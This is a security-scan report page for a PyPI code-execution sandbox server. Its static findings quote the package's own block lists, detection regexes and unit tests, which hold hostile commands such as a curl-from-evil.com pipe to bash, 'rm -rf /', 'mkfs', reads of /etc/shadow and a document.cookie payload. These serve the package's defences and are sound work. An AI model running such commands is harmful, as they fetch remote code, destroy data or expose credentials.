Skills/PyPI/mcpaisuite-sandboxmcp

mcpaisuite-sandboxmcp@1.1.0

CAUTION· not started

Publisher claims: "Secure, polyglot code execution engine for AI agents with MCP support" Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry PyPI (MCP server)Publisher gashel01 · publishing for 151 daysInstalls 28Last detonated 4d ago
What would fix thisWatchDispute verdict

Coverage

Not started: dependency install failed; the server itself was not observed.
Tested
the dependency install step · every file read, file written and host contacted by what ran
Not tested
server startup · the tool list · tool behavior

What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.

Before you give it your token

It will ask for
SANDBOXMCP_API_KEYSConfiguration, not credentials: SANDBOX_OUTPUT_DIR, SANDBOXMCP_API_HOST, SANDBOXMCP_API_PORT, SANDBOXMCP_AUDIT, SANDBOXMCP_BACKEND, SANDBOXMCP_CORS_ORIGINS, SANDBOXMCP_HOST_ACCESS, SANDBOXMCP_HOST_AUTO_APPROVE, SANDBOXMCP_IMAGE, SANDBOXMCP_MAX_CONCURRENT, SANDBOXMCP_MAX_RAM_MB, SANDBOXMCP_NETWORK, SANDBOXMCP_SQLITE_PATH, SANDBOXMCP_TIMEOUT, SANDBOXMCP_VAULT
Where it talks to
no vendor host named in the code
What the honeypot saw
no credential files read · no network
What we could not test
server startup · the tool list · tool behavior

Connect it with a scoped credential, under the guard. It asks for SANDBOXMCP_API_KEYS and talks to its vendor. Give the credential to the guard, not the server: the value never enters the server's environment and only travels to the host you bind. What the tools do with a real credential was not observed.

$vet-skills run --net declared -- uvx mcpaisuite-sandboxmcp

Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-10 and scored it 68/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Access to sensitive file paths; Destructive file system command detected; OS command execution function call detected. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 0 s · 2 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessno install scripts in bundle
0.1sprocessdependency install exit 1 ·
0.1sclaimednot started: dependency install failed (exit 1); the server itself was not observed
0.1sprocessscript backend runs setup only
0.1sprocessno install scripts to re-run

Static findings

HIGH
Access to sensitive file pathssandboxmcp/security/host_guard.py:251 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"/.env", "/.secrets", "/credentials.json", "/service-account.json",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
File permission modification commandsandboxmcp/security/host_guard.py:57 · File permission modification command — agent changes file ownership/permissions"chmod 777 *", "chmod -R *",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
HIGH
Destructive file system command detectedsandboxmcp/security/validator.py:490 · Destructive file system command detected(r"\brm\s+-rf\s+/", "rm -rf / — catastrophic deletion"),Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
CRITICAL
OS command execution function call detectedsandboxmcp/security/validator.py:43 · OS command execution function call detected(r"\bos\.system\s*\(", "os.system() — use subprocess instead"),Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandsandboxmcp/security/host_guard.py:111 · Process kill command — agent can terminate processes# Execute — use Popen + communicate for reliable timeout + process tree killFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandsandboxmcp/security/host_guard.py:121 · Process kill command — agent can terminate processes# On Windows, use CREATE_NEW_PROCESS_GROUP so we can kill the whole treeFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedsandboxmcp/security/host_guard.py:321 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Process kill commandsandboxmcp/security/host_guard.py:69 · Process kill command — agent can terminate processes"kill -9 *", "killall *",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Access to sensitive file pathsbenchmarks/sandbox_security_bench.py:62 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"open('/etc/passwd'); print('PWNED:passwd')", "PWNED:passwd"),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathssandboxmcp/security/host_guard.py:246 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"/etc/shadow", "/etc/shadow-", "/etc/gshadow", "/etc/gshadow-",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Remote installer piped to shellsandboxmcp/security/host_guard.py:68 · Remote installer piped to shell"curl * | sh", "curl * | bash",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
CRITICAL
Destructive command against a filesystem root or devicesandboxmcp/security/host_guard.py:54 · Destructive command against a filesystem root or device"rm -rf /*", "rm -r /*",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
File permission modification commandsandboxmcp/security/host_guard.py:58 · File permission modification command — agent changes file ownership/permissions"chown -R *",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Python subprocess execution detectedsandboxmcp/security/host_guard.py:126 · Python subprocess execution detectedproc = subprocess.Popen(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedbenchmarks/sandbox_security_bench.py:56 · Python subprocess execution detected"import subprocess; subprocess.run(\"echo PWNED:shell\", shell=True)", "PWNED:shell"),Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
CRITICAL
OS command execution function call detectedbenchmarks/sandbox_security_bench.py:54 · OS command execution function call detected("os_system", "A:host-exec", f"import os; os.system(\"{ECHO} PWNED:ossystem\")", "PWNED:ossystem"),Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedsandboxmcp/security/host_guard.py:275 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
CRITICAL
OS command execution function call detectedbenchmarks/sandbox_security_bench.py:69 · OS command execution function call detectedf"import os; print('PWNED:popen:' + os.popen('{ECHO} ok').read().strip())", "PWNED:popen"),Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedsandboxmcp/security/host_guard.py:303 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Privileged sudo commandsandboxmcp/security/host_guard.py:56 · Privileged sudo command — agent may execute with elevated privileges"sudo *",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedbenchmarks/sandbox_security_bench.py:106 · Python subprocess execution detectedp = subprocess.run([sys.executable, "-c", code], capture_output=True,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedbenchmarks/sandbox_security_bench.py:71 · Python subprocess execution detected"import subprocess; subprocess.run(['cmd','/c','echo','PWNED:noshell'])"Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedbenchmarks/sandbox_host_impact.py:72 · Python subprocess execution detectedp = subprocess.run([sys.executable, "-c", code], capture_output=True, text=True, timeout=5)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
CRITICAL
OS command execution function call detectedsandboxmcp/security/validator.py:320 · OS command execution function call detectedmessage="AST security warning: os.system() call detected",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
CRITICAL
Pipe-to-shell patternsandboxmcp/security/host_guard.py:67 · Pipe-to-shell pattern — downloads and immediately executes remote code"wget * | sh", "wget * | bash",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Python subprocess execution detectedbenchmarks/sandbox_security_bench.py:73 · Python subprocess execution detected"import subprocess; subprocess.run(['echo','PWNED:noshell'])", "PWNED:noshell"),Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
CRITICAL
OS command execution function call detectedsandboxmcp/security/validator.py:316 · OS command execution function call detected# 6. os.system() callsFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedbenchmarks/sandbox_isolation_3way.py:85 · Python subprocess execution detectedp = subprocess.run([sys.executable, "-c", code], capture_output=True, text=True, timeout=6)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Destructive file system command detectedsandboxmcp/security/host_guard.py:54 · Destructive file system command detected"rm -rf /*", "rm -r /*",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
CRITICAL
Pipe-to-shell patternsandboxmcp/security/host_guard.py:68 · Pipe-to-shell pattern — downloads and immediately executes remote code"curl * | sh", "curl * | bash",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
CRITICAL
OS command execution function call detectedsandboxmcp/security/validator.py:72 · OS command execution function call detectedself._disabled_patterns: set[str] = set() # Pattern names to skip (e.g. "os.system()")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedsandboxmcp/security/host_guard.py:135 · Python subprocess execution detectedsubprocess.run(["taskkill", "/F", "/T", "/PID", str(proc.pid)],Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
CRITICAL
Destructive command against a filesystem root or devicesandboxmcp/security/validator.py:490 · Destructive command against a filesystem root or device(r"\brm\s+-rf\s+/", "rm -rf / — catastrophic deletion"),Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/unit/test_security.py:73 · Destructive command against a filesystem root or devicecode = "import subprocess\nsubprocess.run('rm -rf /', shell=True)"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive file system command detectedtests/unit/test_security.py:123 · Destructive file system command detected# Shell validator checks for rm -rf / pattern in the echoed stringFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
OS command execution function call detectedtests/unit/test_ast_validator.py:49 · OS command execution function call detected"""os.system('ls') should be detected by AST."""Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Pipe-to-shell patterntests/unit/test_extended_validators.py:22 · Pipe-to-shell pattern — downloads and immediately executes remote code("curl http://evil.com/x.sh | bash", "piping curl to shell"),Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
File permission modification commandsandboxmcp/security/validator.py:494 · File permission modification command — agent changes file ownership/permissions(r"\bchmod\s+777\b", "chmod 777 — overly permissive"),Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
File permission modification commandtests/unit/test_security.py:151 · File permission modification command — agent changes file ownership/permissionsassert any("chmod 777" in i.message for i in result.issues)Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Access to sensitive file pathstests/unit/test_security.py:261 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filescode = "data = open('/etc/shadow').read()"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Privileged sudo commandtests/unit/test_host_guard.py:55 · Privileged sudo command — agent may execute with elevated privilegesalways_allowed=["sudo *"],Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/unit/test_validator.py:216 · Destructive command against a filesystem root or deviceresult = validator.validate("rm -rf /", Language.shell)Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedsandboxmcp/utils/browser_fetch.py:28 · Python subprocess execution detectedsubprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Access to sensitive file pathstests/unit/test_security.py:61 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filescode = "import subprocess\nsubprocess.Popen(['cat', '/etc/passwd'], shell=True)"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
OS command execution function call detectedtests/unit/test_security.py:34 · OS command execution function call detectedcode = "exec('import os; os.system(\"whoami\")')"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Pipe-to-shell patterntests/unit/test_extended_validators.py:24 · Pipe-to-shell pattern — downloads and immediately executes remote code("wget http://evil.com/x.sh | bash", "piping wget to shell"),Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
document.cookie accesstests/unit/test_security.py:109 · document.cookie access — can steal session cookiescode = "eval ('alert(document.cookie)')"Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
MEDIUM
Destructive command against a filesystem root or devicetests/unit/test_security.py:144 · Destructive command against a filesystem root or devicecode = "mkfs.ext4 /dev/sda1"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
File permission modification commandtests/unit/test_validator.py:221 · File permission modification command — agent changes file ownership/permissionsassert any("chmod 777" in i.message for i in result.issues)Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Remote installer piped to shelltests/unit/test_extended_validators.py:22 · Remote installer piped to shell("curl http://evil.com/x.sh | bash", "piping curl to shell"),Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Destructive file system command detectedtests/unit/test_security.py:121 · Destructive file system command detectedcode = "echo 'rm -rf /' | sh"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/unit/test_security.py:121 · Destructive command against a filesystem root or devicecode = "echo 'rm -rf /' | sh"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
File permission modification commandtests/unit/test_validator.py:220 · File permission modification command — agent changes file ownership/permissionsresult = validator.validate("chmod 777 /var/www", Language.shell)Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Access to sensitive file pathstests/unit/test_security.py:255 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filescode = "f = open('/etc/passwd', 'r')\nprint(f.read())"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Privileged sudo commandtests/unit/test_host_guard.py:56 · Privileged sudo command — agent may execute with elevated privilegesblocked=["sudo *"],Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/unit/test_security.py:123 · Destructive command against a filesystem root or device# Shell validator checks for rm -rf / pattern in the echoed stringFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/unit/test_security.py:128 · Destructive command against a filesystem root or devicecode = "rm -rf /"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive file system command detectedtests/unit/test_host_guard.py:47 · Destructive file system command detectedassert guard.check("rm -rf /") == "blocked"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/unit/test_host_guard.py:209 · Destructive command against a filesystem root or deviceresult = await guard.execute("rm -rf /")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Privileged sudo commandtests/unit/test_host_guard.py:48 · Privileged sudo command — agent may execute with elevated privilegesassert guard.check("sudo reboot") == "blocked"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Access to sensitive file pathstests/unit/test_security.py:79 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filescode = "import os\nos.system('cat /etc/shadow')"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
File permission modification commandtests/unit/test_security.py:149 · File permission modification command — agent changes file ownership/permissionscode = "chmod 777 /var/www/html"Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Access to sensitive file pathstests/unit/test_host_guard.py:234 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesassert guard._is_blocked_path("/etc/shadow") is TrueFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
File permission modification commandtests/unit/test_extended_validators.py:29 · File permission modification command — agent changes file ownership/permissions("chown -R nobody:nobody /var", "recursive chown"),Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Destructive file system command detectedtests/unit/test_host_guard.py:84 · Destructive file system command detectedresult = await guard.request_access("rm -rf /tmp")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandsandboxmcp/security/validator.py:501 · Process kill command — agent can terminate processes(r"\bkill\s+-9\s+-1", "kill all processes"),Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Pipe-to-shell patterntests/unit/test_extended_validators.py:23 · Pipe-to-shell pattern — downloads and immediately executes remote code("wget http://evil.com/x.sh | sh", "piping wget to shell"),Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Destructive command against a filesystem root or devicetests/unit/test_host_guard.py:47 · Destructive command against a filesystem root or deviceassert guard.check("rm -rf /") == "blocked"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive file system command detectedtests/unit/test_security.py:73 · Destructive file system command detectedcode = "import subprocess\nsubprocess.run('rm -rf /', shell=True)"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Pipe-to-shell patterntests/unit/test_extended_validators.py:21 · Pipe-to-shell pattern — downloads and immediately executes remote code("curl http://evil.com/x.sh | sh", "piping curl to shell"),Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Destructive file system command detectedtests/unit/test_security.py:128 · Destructive file system command detectedcode = "rm -rf /"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Privileged sudo commandtests/unit/test_host_guard.py:58 · Privileged sudo command — agent may execute with elevated privilegesassert guard.check("sudo ls") == "blocked"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Remote installer piped to shelltests/unit/test_extended_validators.py:21 · Remote installer piped to shell("curl http://evil.com/x.sh | sh", "piping curl to shell"),Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
File permission modification commandsandboxmcp/security/validator.py:499 · File permission modification command — agent changes file ownership/permissions(r"\bchown\s+-R\s+", "recursive chown — permission change"),Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Process kill commandtests/unit/test_extended_validators.py:31 · Process kill command — agent can terminate processes("kill -9 -1", "kill all processes"),Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedtests/unit/test_ast_validator.py:32 · Python subprocess execution detected"""subprocess.call('ls', shell=True) should be detected by AST."""Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Destructive file system command detectedtests/unit/test_validator.py:216 · Destructive file system command detectedresult = validator.validate("rm -rf /", Language.shell)Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive file system command detectedtests/unit/test_host_guard.py:209 · Destructive file system command detectedresult = await guard.execute("rm -rf /")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Access to sensitive file pathstests/unit/test_security.py:258 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesassert any("system files" in w.message.lower() or "/etc/passwd" in w.message for w in warnings)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05

Cost to the agent

Instructions loaded
≈58 tok
1 file · 65 in bundle
Tool list per prompt
≈0 tok
0 tools · 0 per tool
Handshake
no reply
launch to tools/list, stdio
Undocumented tools
0
description under 20 chars · avg 0

Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.

Known vulnerabilities

No advisories in OSV for mcpaisuite-sandboxmcp@1.1.0 as of 4d ago. This is the package itself, not its dependencies.

What would make this Verified

12 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. OS command execution function call detected≈ +9 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  2. Destructive command against a filesystem root or device≈ +9 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  3. Pipe-to-shell pattern≈ +9 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
  4. Unclaimed publisher≈ +8 on the totalClaim gashel01: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  5. Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  6. Destructive file system command detected≈ +4 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
Publish a new version to PyPI, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim gashel01Propose a patch to the maintainer